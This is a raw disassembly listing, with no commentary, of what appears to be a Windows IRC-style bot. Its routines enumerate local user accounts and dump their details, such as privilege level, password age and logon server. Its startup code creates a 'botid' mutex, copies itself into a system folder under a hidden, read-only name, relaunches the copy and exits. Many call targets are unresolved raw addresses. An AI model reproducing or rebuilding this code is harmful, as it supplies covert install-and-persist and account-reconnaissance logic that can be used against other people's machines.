arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_40DEAC
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_40DE49
		dec	eax
		jz	short loc_40DE3E
		dec	eax
		jnz	short loc_40DE64
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_40DF4E
		add	esp, 14h
		jmp	short loc_40DE60
; ---------------------------------------------------------------------------

loc_40DE3E:				; CODE XREF: sub_40DE07+1Dj
		push	ebx
		push	edi
		call	sub_40DF2D
		pop	ecx
		pop	ecx
		jmp	short loc_40DE60
; ---------------------------------------------------------------------------

loc_40DE49:				; CODE XREF: sub_40DE07+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_40DE5D
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_40DED3
		add	esp, 0Ch
		jmp	short loc_40DE60
; ---------------------------------------------------------------------------

loc_40DE5D:				; CODE XREF: sub_40DE07+45j
		push	57h
		pop	eax

loc_40DE60:				; CODE XREF: sub_40DE07+35j
					; sub_40DE07+40j ...
		cmp	eax, edi
		jnz	short loc_40DE84

loc_40DE64:				; CODE XREF: sub_40DE07+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_443F38
		push	off_42E7A4[eax*4]
		push	offset dword_42EFD8
		push	esi
		call	sub_4172B0
		add	esp, 10h
		jmp	short loc_40DECC
; ---------------------------------------------------------------------------

loc_40DE84:				; CODE XREF: sub_40DE07+5Bj
		push	eax
		call	sub_40E4B7
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_443F38
		push	off_42E7A0[eax*4]
		push	offset dword_42EF9C
		push	esi
		call	sub_4172B0
		add	esp, 14h
		jmp	short loc_40DECC
; ---------------------------------------------------------------------------

loc_40DEAC:				; CODE XREF: sub_40DE07+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_443F38
		lea	eax, [eax+eax*2]
		push	off_42E7A0[eax*4]
		push	offset dword_42EF64
		push	esi
		call	sub_4172B0
		add	esp, 0Ch

loc_40DECC:				; CODE XREF: sub_40DE07+7Bj
					; sub_40DE07+A3j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40DE07	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DED3	proc near		; CODE XREF: sub_40DE07+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_40DC82
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_40DC82
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_40DC82
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_43F54C
		pop	edi
		leave
		retn
sub_40DED3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DF2D	proc near		; CODE XREF: sub_40DE07+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_40DC82
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_40DC82
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_43F53C
		pop	esi
		retn
sub_40DF2D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DF4E	proc near		; CODE XREF: sub_40DE07+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_40DC82
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_40DC82
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_43F6C0
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_40E2F6
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_40E331
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_4172B0
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_40E06D
		dec	eax
		jz	short loc_40E066
		dec	eax
		jz	short loc_40E05F
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_40E072
; ---------------------------------------------------------------------------

loc_40E05F:				; CODE XREF: sub_40DF4E+108j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_40E072
; ---------------------------------------------------------------------------

loc_40E066:				; CODE XREF: sub_40DF4E+105j
		mov	eax, offset aUser_0 ; "User"
		jmp	short loc_40E072
; ---------------------------------------------------------------------------

loc_40E06D:				; CODE XREF: sub_40DF4E+102j
		mov	eax, offset aGuest ; "Guest"

loc_40E072:				; CODE XREF: sub_40DF4E+10Fj
					; sub_40DF4E+116j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_4172B0
		push	1
		push	esi
		lea	eax, [ebp+var_204]
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_40E322
; ---------------------------------------------------------------------------

loc_40E2F6:				; CODE XREF: sub_40DF4E+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset dword_42F008
		push	eax
		call	sub_4172B0
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_40D679
		add	esp, 20h

loc_40E322:				; CODE XREF: sub_40DF4E+3A6j
		cmp	[ebp+var_4], 0
		jz	short loc_40E331
		push	[ebp+var_4]
		call	dword_43F6F8

loc_40E331:				; CODE XREF: sub_40DF4E+40j
					; sub_40DF4E+3D8j
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_40DF4E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E337	proc near		; CODE XREF: sub_40EE72+21F2p

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_40DC82
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 18h

loc_40E376:				; CODE XREF: sub_40E337+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	dword_43F5D0
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_40E3D7
		cmp	eax, 0EAh
		jz	short loc_40E3D7
		push	eax
		push	eax
		call	sub_40E4B7
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset dword_42F218
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 24h
		jmp	short loc_40E452
; ---------------------------------------------------------------------------

loc_40E3D7:				; CODE XREF: sub_40E337+62j
					; sub_40E337+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_40E465
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_40E452

loc_40E3E9:				; CODE XREF: sub_40E337+EDj
		cmp	edi, esi
		jz	short loc_40E428
		push	dword ptr [edi]
		lea	eax, [ebp+var_218]
		push	offset aS_4	; "  %S"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_40E3E9
		jmp	short loc_40E452
; ---------------------------------------------------------------------------

loc_40E428:				; CODE XREF: sub_40E337+B4j
		lea	eax, [ebp+var_218]
		push	offset dword_42F1D4
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 1Ch

loc_40E452:				; CODE XREF: sub_40E337+9Ej
					; sub_40E337+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_40E465
		push	edi
		call	dword_43F6F8
		xor	edi, edi
		mov	[ebp+var_4], edi

loc_40E465:				; CODE XREF: sub_40E337+A5j
					; sub_40E337+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_40E376
		cmp	edi, esi
		jz	short loc_40E47D
		push	edi
		call	dword_43F6F8

loc_40E47D:				; CODE XREF: sub_40E337+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_40E337	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E4B7	proc near		; CODE XREF: sub_40DAF0+41p
					; sub_40DCE6+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_40E569
		jz	loc_40E562
		cmp	eax, 7Bh
		ja	short loc_40E52E
		jz	short loc_40E524
		cmp	eax, 5
		jz	short loc_40E51A
		cmp	eax, 8
		jz	short loc_40E510
		cmp	eax, 32h
		jz	short loc_40E506
		cmp	eax, 35h
		jz	short loc_40E4FC
		cmp	eax, 57h
		jnz	loc_40E5B8
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E4FC:				; CODE XREF: sub_40E4B7+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E506:				; CODE XREF: sub_40E4B7+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E510:				; CODE XREF: sub_40E4B7+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E51A:				; CODE XREF: sub_40E4B7+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E524:				; CODE XREF: sub_40E4B7+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E52E:				; CODE XREF: sub_40E4B7+1Aj
		sub	eax, 7Ch
		jz	short loc_40E55B
		sub	eax, 7C8h
		jz	short loc_40E554
		dec	eax
		jz	short loc_40E54A
		dec	eax
		jnz	short loc_40E5B8
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E54A:				; CODE XREF: sub_40E4B7+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E554:				; CODE XREF: sub_40E4B7+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E55B:				; CODE XREF: sub_40E4B7+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E562:				; CODE XREF: sub_40E4B7+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E569:				; CODE XREF: sub_40E4B7+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_40E5A2
		jz	short loc_40E59B
		sub	eax, 8ADh
		jz	short loc_40E5CD
		dec	eax
		dec	eax
		jz	short loc_40E594
		dec	eax
		jz	short loc_40E58D
		dec	eax
		dec	eax
		jnz	short loc_40E5B8
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E58D:				; CODE XREF: sub_40E4B7+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E594:				; CODE XREF: sub_40E4B7+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E59B:				; CODE XREF: sub_40E4B7+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E5A2:				; CODE XREF: sub_40E4B7+B9j
		sub	eax, 8CAh
		jz	short loc_40E5D4
		sub	eax, 17h
		jz	short loc_40E5CD
		sub	eax, 25h
		jz	short loc_40E5C6
		sub	eax, 29h
		jz	short loc_40E5BF

loc_40E5B8:				; CODE XREF: sub_40E4B7+35j
					; sub_40E4B7+87j ...
		push	offset aAnUnknownError ; "An unknown error occurred."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E5BF:				; CODE XREF: sub_40E4B7+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E5C6:				; CODE XREF: sub_40E4B7+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E5CD:				; CODE XREF: sub_40E4B7+C2j
					; sub_40E4B7+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------

loc_40E5D4:				; CODE XREF: sub_40E4B7+F0j
		push	offset aNetworkConnect ; "Network connection not found."

loc_40E5D9:				; CODE XREF: sub_40E4B7+40j
					; sub_40E4B7+4Aj ...
		push	offset dword_443CD8
		call	sub_4172B0
		pop	ecx
		mov	eax, offset dword_443CD8
		pop	ecx
		retn
sub_40E4B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E5EB	proc near		; CODE XREF: sub_40EE72+2231p

var_718		= byte ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_4199B9
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+arg_0], esi
		nop
		call	near ptr 2780000h
		lea	eax, [ebp+var_108]
		push	esi
		push	eax
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_4199B9
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41999C
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	dword_43F678
		test	eax, eax
		jnz	short loc_40E67B
		mov	esi, offset dword_443AD4
		push	offset dword_42F568
		push	esi
		call	sub_4172B0
		pop	ecx
		pop	ecx
		jmp	short loc_40E6A4
; ---------------------------------------------------------------------------

loc_40E67B:				; CODE XREF: sub_40E5EB+7Aj
		lea	ecx, [ebp+var_718]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_40E4B7
		pop	ecx
		mov	esi, offset dword_443AD4
		push	eax
		push	offset dword_42F530
		push	esi
		call	sub_4172B0
		add	esp, 14h

loc_40E6A4:				; CODE XREF: sub_40E5EB+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40E5EB	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 988h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp-0Ch], ebx
		mov	dword ptr [ebp-8], offset sub_40D3A5
		push	dword ptr [ebp-8]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	esi, dword_424058
		call	esi
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_489C50, eax
		call	esi
		push	eax
		call	sub_417302
		pop	ecx
		call	sub_40981F
		push	2
		call	dword_43F714
		push	7530h
		push	offset aBotid	; "botid"
		push	ebx
		push	ebx
		nop
		call	near ptr 2790395h
		push	eax
		nop
		call	near ptr 26108DFh
		cmp	eax, 102h
		jnz	short loc_40E726
		push	1
		call	near ptr 77E75CB5h
		nop

loc_40E726:				; CODE XREF: ___:0040E71Cj
		lea	eax, [ebp-884h]
		push	eax
		push	202h
		call	dword_43F5E0
		cmp	eax, ebx
		mov	[ebp-8], eax
		jnz	loc_40EB89
		cmp	byte ptr [ebp-884h], 2
		jnz	loc_40EB83
		xor	eax, eax
		mov	al, [ebp-883h]
		cmp	al, 2
		jnz	loc_40EB83
		mov	esi, 104h
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		call	near ptr 25E0000h
		nop
		lea	eax, [ebp-2ECh]
		push	esi
		push	eax
		push	ebx
		nop
		call	near ptr 26E0A99h
		push	eax
		nop
		call	near ptr 2620000h
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	ebx
		lea	eax, [ebp-2ECh]
		push	ebx
		push	eax
		call	sub_4192B8
		add	esp, 14h
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	offset aSS_2	; "%s%s"
		lea	eax, [ebp-5F4h]
		push	esi
		push	eax
		call	sub_41782A
		lea	eax, [ebp-3F0h]
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		call	sub_417880
		add	esp, 1Ch
		test	eax, eax
		jnz	loc_40E98C
		cmp	dword_42F5BC, ebx
		mov	esi, offset byte_42F674
		jz	short loc_40E824
		push	esi
		xor	edi, edi
		call	sub_417AB0
		sub	eax, 4
		pop	ecx
		jz	short loc_40E824

loc_40E801:				; CODE XREF: ___:0040E822j
		call	sub_41730C
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi
		add	dl, 61h
		mov	byte_42F674[edi], dl
		inc	edi
		call	sub_417AB0
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_40E801

loc_40E824:				; CODE XREF: ___:0040E7F1j
					; ___:0040E7FFj
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		lea	eax, [ebp-1E8h]
		push	offset aSS_3	; "%s\\%s"
		push	eax
		call	sub_4172B0
		add	esp, 10h
		lea	eax, [ebp-1E8h]
		push	eax
		nop
		call	near ptr 2650426h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E864
		lea	eax, [ebp-1E8h]
		push	80h
		push	eax
		nop
		call	near ptr 27310A2h

loc_40E864:				; CODE XREF: ___:0040E850j
		mov	esi, dword_424160
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		xor	edi, edi
		push	eax

loc_40E87B:				; CODE XREF: ___:0040E8B2j
		call	esi
		test	eax, eax
		jnz	short loc_40E8B4
		nop
		call	near ptr 2610941h
		cmp	edi, ebx
		jnz	short loc_40E8B4
		cmp	eax, 20h
		jz	short loc_40E895
		cmp	eax, 5
		jnz	short loc_40E8B4

loc_40E895:				; CODE XREF: ___:0040E88Ej
		push	1
		pop	edi
		push	3A98h
		nop
		call	near ptr 25D0CB3h
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		jmp	short loc_40E87B
; ---------------------------------------------------------------------------

loc_40E8B4:				; CODE XREF: ___:0040E87Fj
					; ___:0040E889j ...
		lea	eax, [ebp-1E8h]
		push	eax
		call	sub_40AB7C
		pop	ecx
		lea	eax, [ebp-1E8h]
		push	7
		push	eax
		nop
		call	near ptr 27310A2h
		push	10h
		lea	eax, [ebp-1Ch]
		push	ebx
		push	eax
		call	sub_417330
		push	44h
		lea	eax, [ebp-64h]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 18h
		mov	[ebp-64h], esi
		mov	dword ptr [ebp-58h], offset byte_43C80C
		mov	[ebp-34h], bx
		push	1
		pop	esi
		mov	[ebp-38h], esi
		call	near ptr 2780D15h
		nop
		push	eax
		push	esi
		push	100000h
		nop
		call	near ptr 26E04FBh
		lea	ecx, [ebp-2ECh]
		push	ecx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		lea	eax, [ebp-988h]
		push	offset dword_435140
		push	eax
		call	sub_4172B0
		add	esp, 14h
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-64h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		lea	eax, [ebp-988h]
		push	ebx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		nop
		call	near ptr 27206A4h
		test	eax, eax
		jz	short loc_40E98C
		push	0C8h
		call	near ptr 25D0CB3h
		nop
		push	dword ptr [ebp-1Ch]
		mov	esi, dword_424078
		call	esi
		push	dword ptr [ebp-18h]
		call	esi
		call	dword_43F5C8
		push	ebx
		nop
		call	near ptr 77E75CB5h

loc_40E98C:				; CODE XREF: ___:0040E7E0j
					; ___:0040E962j
		cmp	dword_48A030, 2
		jle	short loc_40E9D8
		mov	eax, dword_48A034
		push	dword ptr [eax+4]
		call	sub_41781F
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		call	near ptr 26108DFh
		nop
		push	esi
		call	near ptr 25F1A27h
		nop
		mov	eax, dword_48A034
		cmp	[eax+8], ebx
		jz	short loc_40E9D8
		push	7D0h
		nop
		call	near ptr 25D0CB3h
		mov	eax, dword_48A034
		push	dword ptr [eax+8]
		nop
		call	near ptr 2780B96h

loc_40E9D8:				; CODE XREF: ___:0040E993j
					; ___:0040E9BDj
